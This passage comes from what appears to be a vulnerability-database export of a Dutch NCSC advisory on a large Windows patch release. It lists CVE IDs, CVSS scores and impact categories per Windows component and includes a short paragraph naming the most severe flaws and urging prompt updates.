Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:26.357775Z"}, {"uuid": "59ef2638-e8d6-4ef5-988c-f4b009f24309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54993", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 